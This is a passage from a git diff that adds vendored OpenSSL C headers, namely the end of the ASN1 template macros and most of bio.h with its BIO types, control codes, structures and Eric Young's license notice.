+ int flags; + int ref_offset; /* Offset of reference value */ + int ref_lock; /* Lock type to use */ + ASN1_aux_cb *asn1_cb; + int enc_offset; /* Offset of ASN1_ENCODING structure */ +} ASN1_AUX; + +/* Flags in ASN1_AUX */ + +/* Use a reference count */ +#define ASN1_AFLG_REFCOUNT 1 +/* Save the encoding of structure (useful for signatures) */ +#define ASN1_AFLG_ENCODING 2 +/* The Sequence length is invalid */ +#define ASN1_AFLG_BROKEN 4 + +/* operation values for asn1_cb */ + +#define ASN1_OP_NEW_PRE 0 +#define ASN1_OP_NEW_POST 1 +#define ASN1_OP_FREE_PRE 2 +#define ASN1_OP_FREE_POST 3 +#define ASN1_OP_D2I_PRE 4 +#define ASN1_OP_D2I_POST 5 +#define ASN1_OP_I2D_PRE 6 +#define ASN1_OP_I2D_POST 7 + +/* Macro to implement a primitive type */ +#define IMPLEMENT_ASN1_TYPE(stname) IMPLEMENT_ASN1_TYPE_ex(stname, stname, 0) +#define IMPLEMENT_ASN1_TYPE_ex(itname, vname, ex) \ + ASN1_ITEM_start(itname) \ + ASN1_ITYPE_PRIMITIVE, V_##vname, NULL, 0, NULL, ex, #itname \ + ASN1_ITEM_end(itname) + +/* Macro to implement a multi string type */ +#define IMPLEMENT_ASN1_MSTRING(itname, mask) \ + ASN1_ITEM_start(itname) \ + ASN1_ITYPE_MSTRING, mask, NULL, 0, NULL, sizeof(ASN1_STRING), #itname \ + ASN1_ITEM_end(itname) + +/* Macro to implement an ASN1_ITEM in terms of old style funcs */ + +#define IMPLEMENT_COMPAT_ASN1(sname) IMPLEMENT_COMPAT_ASN1_type(sname, V_ASN1_SEQUENCE) + +#define IMPLEMENT_COMPAT_ASN1_type(sname, tag) \ + static const ASN1_COMPAT_FUNCS sname##_ff = { \ + (ASN1_new_func *)sname##_new, \ + (ASN1_free_func *)sname##_free, \ + (ASN1_d2i_func *)d2i_##sname, \ + (ASN1_i2d_func *)i2d_##sname, \ + }; \ + ASN1_ITEM_start(sname) \ + ASN1_ITYPE_COMPAT, \ + tag, \ + NULL, \ + 0, \ + &sname##_ff, \ + 0, \ + #sname \ + ASN1_ITEM_end(sname) + +#define IMPLEMENT_EXTERN_ASN1(sname, tag, fptrs) \ + ASN1_ITEM_start(sname) \ + ASN1_ITYPE_EXTERN, \ + tag, \ + NULL, \ + 0, \ + &fptrs, \ + 0, \ + #sname \ + ASN1_ITEM_end(sname) + +/* Macro to implement standard functions in terms of ASN1_ITEM structures */ + +#define IMPLEMENT_ASN1_FUNCTIONS(stname) IMPLEMENT_ASN1_FUNCTIONS_fname(stname, stname, stname) + +#define IMPLEMENT_ASN1_FUNCTIONS_name(stname, itname) IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, itname) + +#define IMPLEMENT_ASN1_FUNCTIONS_ENCODE_name(stname, itname) \ + IMPLEMENT_ASN1_FUNCTIONS_ENCODE_fname(stname, itname, itname) + +#define IMPLEMENT_ASN1_ALLOC_FUNCTIONS(stname) \ + IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, stname, stname) + +#define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \ + stname *fname##_new(void) \ + { \ + return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \ + } \ + void fname##_free(stname *a) \ + { \ + ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \ + } + +#define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \ + IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \ + IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) + +#define IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \ + stname *d2i_##fname(stname **a, const unsigned char **in, long len) \ + { \ + return (stname *)ASN1_item_d2i((ASN1_VALUE **)a, in, len, ASN1_ITEM_rptr(itname));\ + } \ + int i2d_##fname(stname *a, unsigned char **out) \ + { \ + return ASN1_item_i2d((ASN1_VALUE *)a, out, ASN1_ITEM_rptr(itname));\ + } + +#define IMPLEMENT_ASN1_NDEF_FUNCTION(stname) \ + int i2d_##stname##_NDEF(stname *a, unsigned char **out) \ + { \ + return ASN1_item_ndef_i2d((ASN1_VALUE *)a, out, ASN1_ITEM_rptr(stname));\ + } + +/* This includes evil casts to remove const: they will go away when full + * ASN1 constification is done. + */ +#define IMPLEMENT_ASN1_ENCODE_FUNCTIONS_const_fname(stname, itname, fname) \ + stname *d2i_##fname(stname **a, const unsigned char **in, long len) \ + { \ + return (stname *)ASN1_item_d2i((ASN1_VALUE **)a, in, len, ASN1_ITEM_rptr(itname));\ + } \ + int i2d_##fname(const stname *a, unsigned char **out) \ + { \ + return ASN1_item_i2d((ASN1_VALUE *)a, out, ASN1_ITEM_rptr(itname));\ + } + +#define IMPLEMENT_ASN1_DUP_FUNCTION(stname) \ + stname * stname##_dup(stname *x) \ + { \ + return ASN1_item_dup(ASN1_ITEM_rptr(stname), x); \ + } + +#define IMPLEMENT_ASN1_FUNCTIONS_const(name) \ + IMPLEMENT_ASN1_FUNCTIONS_const_fname(name, name, name) + +#define IMPLEMENT_ASN1_FUNCTIONS_const_fname(stname, itname, fname) \ + IMPLEMENT_ASN1_ENCODE_FUNCTIONS_const_fname(stname, itname, fname) \ + IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) + +/* external definitions for primitive types */ + +DECLARE_ASN1_ITEM(ASN1_BOOLEAN) +DECLARE_ASN1_ITEM(ASN1_TBOOLEAN) +DECLARE_ASN1_ITEM(ASN1_FBOOLEAN) +DECLARE_ASN1_ITEM(ASN1_SEQUENCE) +DECLARE_ASN1_ITEM(CBIGNUM) +DECLARE_ASN1_ITEM(BIGNUM) +DECLARE_ASN1_ITEM(LONG) +DECLARE_ASN1_ITEM(ZLONG) + +DECLARE_STACK_OF(ASN1_VALUE) + +/* Functions used internally by the ASN1 code */ + +int ASN1_item_ex_new(ASN1_VALUE **pval, const ASN1_ITEM *it); +void ASN1_item_ex_free(ASN1_VALUE **pval, const ASN1_ITEM *it); +int ASN1_template_new(ASN1_VALUE **pval, const ASN1_TEMPLATE *tt); +int ASN1_primitive_new(ASN1_VALUE **pval, const ASN1_ITEM *it); + +void ASN1_template_free(ASN1_VALUE **pval, const ASN1_TEMPLATE *tt); +int ASN1_template_d2i(ASN1_VALUE **pval, const unsigned char **in, long len, const ASN1_TEMPLATE *tt); +int ASN1_item_ex_d2i(ASN1_VALUE **pval, const unsigned char **in, long len, const ASN1_ITEM *it, + int tag, int aclass, char opt, ASN1_TLC *ctx); + +int ASN1_item_ex_i2d(ASN1_VALUE **pval, unsigned char **out, const ASN1_ITEM *it, int tag, int aclass); +int ASN1_template_i2d(ASN1_VALUE **pval, unsigned char **out, const ASN1_TEMPLATE *tt); +void ASN1_primitive_free(ASN1_VALUE **pval, const ASN1_ITEM *it); + +int asn1_ex_i2c(ASN1_VALUE **pval, unsigned char *cont, int *putype, const ASN1_ITEM *it); +int asn1_ex_c2i(ASN1_VALUE **pval, const unsigned char *cont, int len, int utype, char *free_cont, const ASN1_ITEM *it); + +int asn1_get_choice_selector(ASN1_VALUE **pval, const ASN1_ITEM *it); +int asn1_set_choice_selector(ASN1_VALUE **pval, int value, const ASN1_ITEM *it); + +ASN1_VALUE ** asn1_get_field_ptr(ASN1_VALUE **pval, const ASN1_TEMPLATE *tt); + +const ASN1_TEMPLATE *asn1_do_adb(ASN1_VALUE **pval, const ASN1_TEMPLATE *tt, int nullerr); + +int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it); + +void asn1_enc_init(ASN1_VALUE **pval, const ASN1_ITEM *it); +void asn1_enc_free(ASN1_VALUE **pval, const ASN1_ITEM *it); +int asn1_enc_restore(int *len, unsigned char **out, ASN1_VALUE **pval, const ASN1_ITEM *it); +int asn1_enc_save(ASN1_VALUE **pval, const unsigned char *in, int inlen, const ASN1_ITEM *it); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/bio.h b/winstuff/openssl/bio.h new file mode 100644 index 0000000..cecb6a7 --- /dev/null +++ b/winstuff/openssl/bio.h @@ -0,0 +1,776 @@ +/* crypto/bio/bio.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_BIO_H +#define HEADER_BIO_H + +#include + +#ifndef OPENSSL_NO_FP_API +# include +#endif +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* These are the 'types' of BIOs */ +#define BIO_TYPE_NONE 0 +#define BIO_TYPE_MEM (1|0x0400) +#define BIO_TYPE_FILE (2|0x0400) + +#define BIO_TYPE_FD (4|0x0400|0x0100) +#define BIO_TYPE_SOCKET (5|0x0400|0x0100) +#define BIO_TYPE_NULL (6|0x0400) +#define BIO_TYPE_SSL (7|0x0200) +#define BIO_TYPE_MD (8|0x0200) /* passive filter */ +#define BIO_TYPE_BUFFER (9|0x0200) /* filter */ +#define BIO_TYPE_CIPHER (10|0x0200) /* filter */ +#define BIO_TYPE_BASE64 (11|0x0200) /* filter */ +#define BIO_TYPE_CONNECT (12|0x0400|0x0100) /* socket - connect */ +#define BIO_TYPE_ACCEPT (13|0x0400|0x0100) /* socket for accept */ +#define BIO_TYPE_PROXY_CLIENT (14|0x0200) /* client proxy BIO */ +#define BIO_TYPE_PROXY_SERVER (15|0x0200) /* server proxy BIO */ +#define BIO_TYPE_NBIO_TEST (16|0x0200) /* server proxy BIO */ +#define BIO_TYPE_NULL_FILTER (17|0x0200) +#define BIO_TYPE_BER (18|0x0200) /* BER -> bin filter */ +#define BIO_TYPE_BIO (19|0x0400) /* (half a) BIO pair */ +#define BIO_TYPE_LINEBUFFER (20|0x0200) /* filter */ +#define BIO_TYPE_DGRAM (21|0x0400|0x0100) +#define BIO_TYPE_COMP (23|0x0200) /* filter */ + +#define BIO_TYPE_DESCRIPTOR 0x0100 /* socket, fd, connect or accept */ +#define BIO_TYPE_FILTER 0x0200 +#define BIO_TYPE_SOURCE_SINK 0x0400 + +/* BIO_FILENAME_READ|BIO_CLOSE to open or close on free. + * BIO_set_fp(in,stdin,BIO_NOCLOSE); */ +#define BIO_NOCLOSE 0x00 +#define BIO_CLOSE 0x01 + +/* These are used in the following macros and are passed to + * BIO_ctrl() */ +#define BIO_CTRL_RESET 1 /* opt - rewind/zero etc */ +#define BIO_CTRL_EOF 2 /* opt - are we at the eof */ +#define BIO_CTRL_INFO 3 /* opt - extra tit-bits */ +#define BIO_CTRL_SET 4 /* man - set the 'IO' type */ +#define BIO_CTRL_GET 5 /* man - get the 'IO' type */ +#define BIO_CTRL_PUSH 6 /* opt - internal, used to signify change */ +#define BIO_CTRL_POP 7 /* opt - internal, used to signify change */ +#define BIO_CTRL_GET_CLOSE 8 /* man - set the 'close' on free */ +#define BIO_CTRL_SET_CLOSE 9 /* man - set the 'close' on free */ +#define BIO_CTRL_PENDING 10 /* opt - is their more data buffered */ +#define BIO_CTRL_FLUSH 11 /* opt - 'flush' buffered output */ +#define BIO_CTRL_DUP 12 /* man - extra stuff for 'duped' BIO */ +#define BIO_CTRL_WPENDING 13 /* opt - number of bytes still to write */ +/* callback is int cb(BIO *bio,state,ret); */ +#define BIO_CTRL_SET_CALLBACK 14 /* opt - set callback function */ +#define BIO_CTRL_GET_CALLBACK 15 /* opt - set callback function */ + +#define BIO_CTRL_SET_FILENAME 30 /* BIO_s_file special */ + +/* dgram BIO stuff */ +#define BIO_CTRL_DGRAM_CONNECT 31 /* BIO dgram special */ +#define BIO_CTRL_DGRAM_SET_CONNECTED 32 /* allow for an externally + * connected socket to be + * passed in */ +#define BIO_CTRL_DGRAM_SET_RECV_TIMEOUT 33 /* setsockopt, essentially */ +#define BIO_CTRL_DGRAM_GET_RECV_TIMEOUT 34 /* getsockopt, essentially */ +#define BIO_CTRL_DGRAM_SET_SEND_TIMEOUT 35 /* setsockopt, essentially */ +#define BIO_CTRL_DGRAM_GET_SEND_TIMEOUT 36 /* getsockopt, essentially */ + +#define BIO_CTRL_DGRAM_GET_RECV_TIMER_EXP 37 /* flag whether the last */ +#define BIO_CTRL_DGRAM_GET_SEND_TIMER_EXP 38 /* I/O operation tiemd out */ + +/* #ifdef IP_MTU_DISCOVER */ +#define BIO_CTRL_DGRAM_MTU_DISCOVER 39 /* set DF bit on egress packets */ +/* #endif */ + +#define BIO_CTRL_DGRAM_QUERY_MTU 40 /* as kernel for current MTU */ +#define BIO_CTRL_DGRAM_GET_MTU 41 /* get cached value for MTU */ +#define BIO_CTRL_DGRAM_SET_MTU 42 /* set cached value for + * MTU. want to use this + * if asking the kernel + * fails */ + +#define BIO_CTRL_DGRAM_MTU_EXCEEDED 43 /* check whether the MTU + * was exceed in the + * previous write + * operation */ + +#define BIO_CTRL_DGRAM_SET_PEER 44 /* Destination for the data */ + + +/* modifiers */ +#define BIO_FP_READ 0x02 +#define BIO_FP_WRITE 0x04 +#define BIO_FP_APPEND 0x08 +#define BIO_FP_TEXT 0x10 + +#define BIO_FLAGS_READ 0x01 +#define BIO_FLAGS_WRITE 0x02 +#define BIO_FLAGS_IO_SPECIAL 0x04 +#define BIO_FLAGS_RWS (BIO_FLAGS_READ|BIO_FLAGS_WRITE|BIO_FLAGS_IO_SPECIAL) +#define BIO_FLAGS_SHOULD_RETRY 0x08 +#ifndef BIO_FLAGS_UPLINK +/* "UPLINK" flag denotes file descriptors provided by application. + It defaults to 0, as most platforms don't require UPLINK interface. */ +#define BIO_FLAGS_UPLINK 0 +#endif + +/* Used in BIO_gethostbyname() */ +#define BIO_GHBN_CTRL_HITS 1 +#define BIO_GHBN_CTRL_MISSES 2 +#define BIO_GHBN_CTRL_CACHE_SIZE 3 +#define BIO_GHBN_CTRL_GET_ENTRY 4 +#define BIO_GHBN_CTRL_FLUSH 5 + +/* Mostly used in the SSL BIO */ +/* Not used anymore + * #define BIO_FLAGS_PROTOCOL_DELAYED_READ 0x10 + * #define BIO_FLAGS_PROTOCOL_DELAYED_WRITE 0x20 + * #define BIO_FLAGS_PROTOCOL_STARTUP 0x40 + */ + +#define BIO_FLAGS_BASE64_NO_NL 0x100 + +/* This is used with memory BIOs: it means we shouldn't free up or change the + * data in any way. + */ +#define BIO_FLAGS_MEM_RDONLY 0x200 + +typedef struct bio_st BIO; + +void BIO_set_flags(BIO *b, int flags); +int BIO_test_flags(const BIO *b, int flags); +void BIO_clear_flags(BIO *b, int flags); + +#define BIO_get_flags(b) BIO_test_flags(b, ~(0x0)) +#define BIO_set_retry_special(b) \ + BIO_set_flags(b, (BIO_FLAGS_IO_SPECIAL|BIO_FLAGS_SHOULD_RETRY)) +#define BIO_set_retry_read(b) \ + BIO_set_flags(b, (BIO_FLAGS_READ|BIO_FLAGS_SHOULD_RETRY)) +#define BIO_set_retry_write(b) \ + BIO_set_flags(b, (BIO_FLAGS_WRITE|BIO_FLAGS_SHOULD_RETRY)) + +/* These are normally used internally in BIOs */ +#define BIO_clear_retry_flags(b) \ + BIO_clear_flags(b, (BIO_FLAGS_RWS|BIO_FLAGS_SHOULD_RETRY)) +#define BIO_get_retry_flags(b) \ + BIO_test_flags(b, (BIO_FLAGS_RWS|BIO_FLAGS_SHOULD_RETRY)) + +/* These should be used by the application to tell why we should retry */ +#define BIO_should_read(a) BIO_test_flags(a, BIO_FLAGS_READ) +#define BIO_should_write(a) BIO_test_flags(a, BIO_FLAGS_WRITE) +#define BIO_should_io_special(a) BIO_test_flags(a, BIO_FLAGS_IO_SPECIAL) +#define BIO_retry_type(a) BIO_test_flags(a, BIO_FLAGS_RWS) +#define BIO_should_retry(a) BIO_test_flags(a, BIO_FLAGS_SHOULD_RETRY) + +/* The next three are used in conjunction with the + * BIO_should_io_special() condition. After this returns true, + * BIO *BIO_get_retry_BIO(BIO *bio, int *reason); will walk the BIO + * stack and return the 'reason' for the special and the offending BIO. + * Given a BIO, BIO_get_retry_reason(bio) will return the code. */ +/* Returned from the SSL bio when the certificate retrieval code had an error */ +#define BIO_RR_SSL_X509_LOOKUP 0x01 +/* Returned from the connect BIO when a connect would have blocked */ +#define BIO_RR_CONNECT 0x02 +/* Returned from the accept BIO when an accept would have blocked */ +#define BIO_RR_ACCEPT 0x03 + +/* These are passed by the BIO callback */ +#define BIO_CB_FREE 0x01 +#define BIO_CB_READ 0x02 +#define BIO_CB_WRITE 0x03 +#define BIO_CB_PUTS 0x04 +#define BIO_CB_GETS 0x05 +#define BIO_CB_CTRL 0x06 + +/* The callback is called before and after the underling operation, + * The BIO_CB_RETURN flag indicates if it is after the call */ +#define BIO_CB_RETURN 0x80 +#define BIO_CB_return(a) ((a)|BIO_CB_RETURN)) +#define BIO_cb_pre(a) (!((a)&BIO_CB_RETURN)) +#define BIO_cb_post(a) ((a)&BIO_CB_RETURN) + +long (*BIO_get_callback(const BIO *b)) (struct bio_st *,int,const char *,int, long,long); +void BIO_set_callback(BIO *b, + long (*callback)(struct bio_st *,int,const char *,int, long,long)); +char *BIO_get_callback_arg(const BIO *b); +void BIO_set_callback_arg(BIO *b, char *arg); + +const char * BIO_method_name(const BIO *b); +int BIO_method_type(const BIO *b); + +typedef void bio_info_cb(struct bio_st *, int, const char *, int, long, long); + +#ifndef OPENSSL_SYS_WIN16 +typedef struct bio_method_st + { + int type; + const char *name; + int (*bwrite)(BIO *, const char *, int); + int (*bread)(BIO *, char *, int); + int (*bputs)(BIO *, const char *); + int (*bgets)(BIO *, char *, int); + long (*ctrl)(BIO *, int, long, void *); + int (*create)(BIO *); + int (*destroy)(BIO *); + long (*callback_ctrl)(BIO *, int, bio_info_cb *); + } BIO_METHOD; +#else +typedef struct bio_method_st + { + int type; + const char *name; + int (_far *bwrite)(); + int (_far *bread)(); + int (_far *bputs)(); + int (_far *bgets)(); + long (_far *ctrl)(); + int (_far *create)(); + int (_far *destroy)(); + long (_far *callback_ctrl)(); + } BIO_METHOD; +#endif + +struct bio_st + { + BIO_METHOD *method; + /* bio, mode, argp, argi, argl, ret */ + long (*callback)(struct bio_st *,int,const char *,int, long,long); + char *cb_arg; /* first argument for the callback */ + + int init; + int shutdown; + int flags; /* extra storage */ + int retry_reason; + int num; + void *ptr; + struct bio_st *next_bio; /* used by filter BIOs */ + struct bio_st *prev_bio; /* used by filter BIOs */ + int references; + unsigned long num_read; + unsigned long num_write; + + CRYPTO_EX_DATA ex_data; + }; + +DECLARE_STACK_OF(BIO) + +typedef struct bio_f_buffer_ctx_struct + { + /* BIO *bio; */ /* this is now in the BIO struct */ + int ibuf_size; /* how big is the input buffer */ + int obuf_size; /* how big is the output buffer */ + + char *ibuf; /* the char array */ + int ibuf_len; /* how many bytes are in it */ + int ibuf_off; /* write/read offset */ + + char *obuf; /* the char array */ + int obuf_len; /* how many bytes are in it */ + int obuf_off; /* write/read offset */ + } BIO_F_BUFFER_CTX; + +/* connect BIO stuff */ +#define BIO_CONN_S_BEFORE 1 +#define BIO_CONN_S_GET_IP 2 +#define BIO_CONN_S_GET_PORT 3 +#define BIO_CONN_S_CREATE_SOCKET 4 +#define BIO_CONN_S_CONNECT 5 +#define BIO_CONN_S_OK 6 +#define BIO_CONN_S_BLOCKED_CONNECT 7 +#define BIO_CONN_S_NBIO 8 +/*#define BIO_CONN_get_param_hostname BIO_ctrl */ + +#define BIO_C_SET_CONNECT 100 +#define BIO_C_DO_STATE_MACHINE 101 +#define BIO_C_SET_NBIO 102 +#define BIO_C_SET_PROXY_PARAM 103 +#define BIO_C_SET_FD 104 +#define BIO_C_GET_FD 105 +#define BIO_C_SET_FILE_PTR 106 +#define BIO_C_GET_FILE_PTR 107 +#define BIO_C_SET_FILENAME 108 +#define BIO_C_SET_SSL 109 +#define BIO_C_GET_SSL 110 +#define BIO_C_SET_MD 111 +#define BIO_C_GET_MD 112 +#define BIO_C_GET_CIPHER_STATUS 113 +#define BIO_C_SET_BUF_MEM 114 +#define BIO_C_GET_BUF_MEM_PTR 115 +#define BIO_C_GET_BUFF_NUM_LINES 116 +#define BIO_C_SET_BUFF_SIZE 117 +#define BIO_C_SET_ACCEPT 118 +#define BIO_C_SSL_MODE 119 +#define BIO_C_GET_MD_CTX 120 +#define BIO_C_GET_PROXY_PARAM 121 +#define BIO_C_SET_BUFF_READ_DATA 122 /* data to read first */ +#define BIO_C_GET_CONNECT 123 +#define BIO_C_GET_ACCEPT 124 +#define BIO_C_SET_SSL_RENEGOTIATE_BYTES 125 +#define BIO_C_GET_SSL_NUM_RENEGOTIATES 126 +#define BIO_C_SET_SSL_RENEGOTIATE_TIMEOUT 127 +#define BIO_C_FILE_SEEK 128 +#define BIO_C_GET_CIPHER_CTX 129 +#define BIO_C_SET_BUF_MEM_EOF_RETURN 130/*return end of input value*/ +#define BIO_C_SET_BIND_MODE 131 +#define BIO_C_GET_BIND_MODE 132 +#define BIO_C_FILE_TELL 133 +#define BIO_C_GET_SOCKS 134 +#define BIO_C_SET_SOCKS 135 + +#define BIO_C_SET_WRITE_BUF_SIZE 136/* for BIO_s_bio */ +#define BIO_C_GET_WRITE_BUF_SIZE 137 +#define BIO_C_MAKE_BIO_PAIR 138 +#define BIO_C_DESTROY_BIO_PAIR 139 +#define BIO_C_GET_WRITE_GUARANTEE 140 +#define BIO_C_GET_READ_REQUEST 141 +#define BIO_C_SHUTDOWN_WR 142 +#define BIO_C_NREAD0 143 +#define BIO_C_NREAD 144 +#define BIO_C_NWRITE0 145 +#define BIO_C_NWRITE 146 +#define BIO_C_RESET_READ_REQUEST 147 +#define BIO_C_SET_MD_CTX 148 + + +#define BIO_set_app_data(s,arg) BIO_set_ex_data(s,0,arg) +#define BIO_get_app_data(s) BIO_get_ex_data(s,0) + +/* BIO_s_connect() and BIO_s_socks4a_connect() */ +#define BIO_set_conn_hostname(b,name) BIO_ctrl(b,BIO_C_SET_CONNECT,0,(char *)name) +#define BIO_set_conn_port(b,port) BIO_ctrl(b,BIO_C_SET_CONNECT,1,(char *)port) +#define BIO_set_conn_ip(b,ip) BIO_ctrl(b,BIO_C_SET_CONNECT,2,(char *)ip) +#define BIO_set_conn_int_port(b,port) BIO_ctrl(b,BIO_C_SET_CONNECT,3,(char *)port) +#define BIO_get_conn_hostname(b) BIO_ptr_ctrl(b,BIO_C_GET_CONNECT,0) +#define BIO_get_conn_port(b) BIO_ptr_ctrl(b,BIO_C_GET_CONNECT,1) +#define BIO_get_conn_ip(b) BIO_ptr_ctrl(b,BIO_C_GET_CONNECT,2) +#define BIO_get_conn_int_port(b) BIO_int_ctrl(b,BIO_C_GET_CONNECT,3) + + +#define BIO_set_nbio(b,n) BIO_ctrl(b,BIO_C_SET_NBIO,(n),NULL) + +/* BIO_s_accept_socket() */ +#define BIO_set_accept_port(b,name) BIO_ctrl(b,BIO_C_SET_ACCEPT,0,(char *)name) +#define BIO_get_accept_port(b) BIO_ptr_ctrl(b,BIO_C_GET_ACCEPT,0) +/* #define BIO_set_nbio(b,n) BIO_ctrl(b,BIO_C_SET_NBIO,(n),NULL) */ +#define BIO_set_nbio_accept(b,n) BIO_ctrl(b,BIO_C_SET_ACCEPT,1,(n)?"a":NULL) +#define BIO_set_accept_bios(b,bio) BIO_ctrl(b,BIO_C_SET_ACCEPT,2,(char *)bio) + +#define BIO_BIND_NORMAL 0 +#define BIO_BIND_REUSEADDR_IF_UNUSED 1 +#define BIO_BIND_REUSEADDR 2 +#define BIO_set_bind_mode(b,mode) BIO_ctrl(b,BIO_C_SET_BIND_MODE,mode,NULL) +#define BIO_get_bind_mode(b,mode) BIO_ctrl(b,BIO_C_GET_BIND_MODE,0,NULL) + +#define BIO_do_connect(b) BIO_do_handshake(b) +#define BIO_do_accept(b) BIO_do_handshake(b) +#define BIO_do_handshake(b) BIO_ctrl(b,BIO_C_DO_STATE_MACHINE,0,NULL) + +/* BIO_s_proxy_client() */ +#define BIO_set_url(b,url) BIO_ctrl(b,BIO_C_SET_PROXY_PARAM,0,(char *)(url)) +#define BIO_set_proxies(b,p) BIO_ctrl(b,BIO_C_SET_PROXY_PARAM,1,(char *)(p)) +/* BIO_set_nbio(b,n) */ +#define BIO_set_filter_bio(b,s) BIO_ctrl(b,BIO_C_SET_PROXY_PARAM,2,(char *)(s)) +/* BIO *BIO_get_filter_bio(BIO *bio); */ +#define BIO_set_proxy_cb(b,cb) BIO_callback_ctrl(b,BIO_C_SET_PROXY_PARAM,3,(void *(*cb)())) +#define BIO_set_proxy_header(b,sk) BIO_ctrl(b,BIO_C_SET_PROXY_PARAM,4,(char *)sk) +#define BIO_set_no_connect_return(b,bool) BIO_int_ctrl(b,BIO_C_SET_PROXY_PARAM,5,bool) + +#define BIO_get_proxy_header(b,skp) BIO_ctrl(b,BIO_C_GET_PROXY_PARAM,0,(char *)skp) +#define BIO_get_proxies(b,pxy_p) BIO_ctrl(b,BIO_C_GET_PROXY_PARAM,1,(char *)(pxy_p)) +#define BIO_get_url(b,url) BIO_ctrl(b,BIO_C_GET_PROXY_PARAM,2,(char *)(url)) +#define BIO_get_no_connect_return(b) BIO_ctrl(b,BIO_C_GET_PROXY_PARAM,5,NULL) + +#define BIO_set_fd(b,fd,c) BIO_int_ctrl(b,BIO_C_SET_FD,c,fd) +#define BIO_get_fd(b,c) BIO_ctrl(b,BIO_C_GET_FD,0,(char *)c) + +#define BIO_set_fp(b,fp,c) BIO_ctrl(b,BIO_C_SET_FILE_PTR,c,(char *)fp) +#define BIO_get_fp(b,fpp) BIO_ctrl(b,BIO_C_GET_FILE_PTR,0,(char *)fpp) + +#define BIO_seek(b,ofs) (int)BIO_ctrl(b,BIO_C_FILE_SEEK,ofs,NULL) +#define BIO_tell(b) (int)BIO_ctrl(b,BIO_C_FILE_TELL,0,NULL) + +/* name is cast to lose const, but might be better to route through a function + so we can do it safely */ +#ifdef CONST_STRICT +/* If you are wondering why this isn't defined, its because CONST_STRICT is + * purely a compile-time kludge to allow const to be checked. + */ +int BIO_read_filename(BIO *b,const char *name); +#else +#define BIO_read_filename(b,name) BIO_ctrl(b,BIO_C_SET_FILENAME, \ + BIO_CLOSE|BIO_FP_READ,(char *)name) +#endif +#define BIO_write_filename(b,name) BIO_ctrl(b,BIO_C_SET_FILENAME, \ + BIO_CLOSE|BIO_FP_WRITE,name) +#define BIO_append_filename(b,name) BIO_ctrl(b,BIO_C_SET_FILENAME, \ + BIO_CLOSE|BIO_FP_APPEND,name) +#define BIO_rw_filename(b,name) BIO_ctrl(b,BIO_C_SET_FILENAME, \ + BIO_CLOSE|BIO_FP_READ|BIO_FP_WRITE,name) + +/* WARNING WARNING, this ups the reference count on the read bio of the + * SSL structure. This is because the ssl read BIO is now pointed to by + * the next_bio field in the bio. So when you free the BIO, make sure + * you are doing a BIO_free_all() to catch the underlying BIO. */ +#define BIO_set_ssl(b,ssl,c) BIO_ctrl(b,BIO_C_SET_SSL,c,(char *)ssl) +#define BIO_get_ssl(b,sslp) BIO_ctrl(b,BIO_C_GET_SSL,0,(char *)sslp) +#define BIO_set_ssl_mode(b,client) BIO_ctrl(b,BIO_C_SSL_MODE,client,NULL) +#define BIO_set_ssl_renegotiate_bytes(b,num) \ + BIO_ctrl(b,BIO_C_SET_SSL_RENEGOTIATE_BYTES,num,NULL); +#define BIO_get_num_renegotiates(b) 